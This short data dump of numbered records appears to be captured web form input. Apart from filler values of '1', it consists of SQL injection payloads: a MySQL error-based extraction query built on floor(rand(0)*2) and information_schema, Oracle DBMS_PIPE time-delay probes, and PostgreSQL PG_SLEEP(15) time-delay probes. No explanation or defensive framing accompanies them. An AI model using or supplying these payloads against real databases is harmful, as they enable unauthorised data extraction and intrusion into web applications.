509

and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(97),CHAR(121),CHAR(65),CHAR(70),CHAR(90),CHAR(52),CHAR(110),CHAR(117)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and

508

1

507

1

506

1DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)CHR(98)CHR(98),15)

505

1

504

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)CHR(99)CHR(99),15)

503

1

502

125bwbiWt)) OR 425=(SELECT 425 FROM PG_SLEEP(15))

501

1

500

1PQk2aHDq) OR 842=(SELECT 842 FROM PG_SLEEP(15))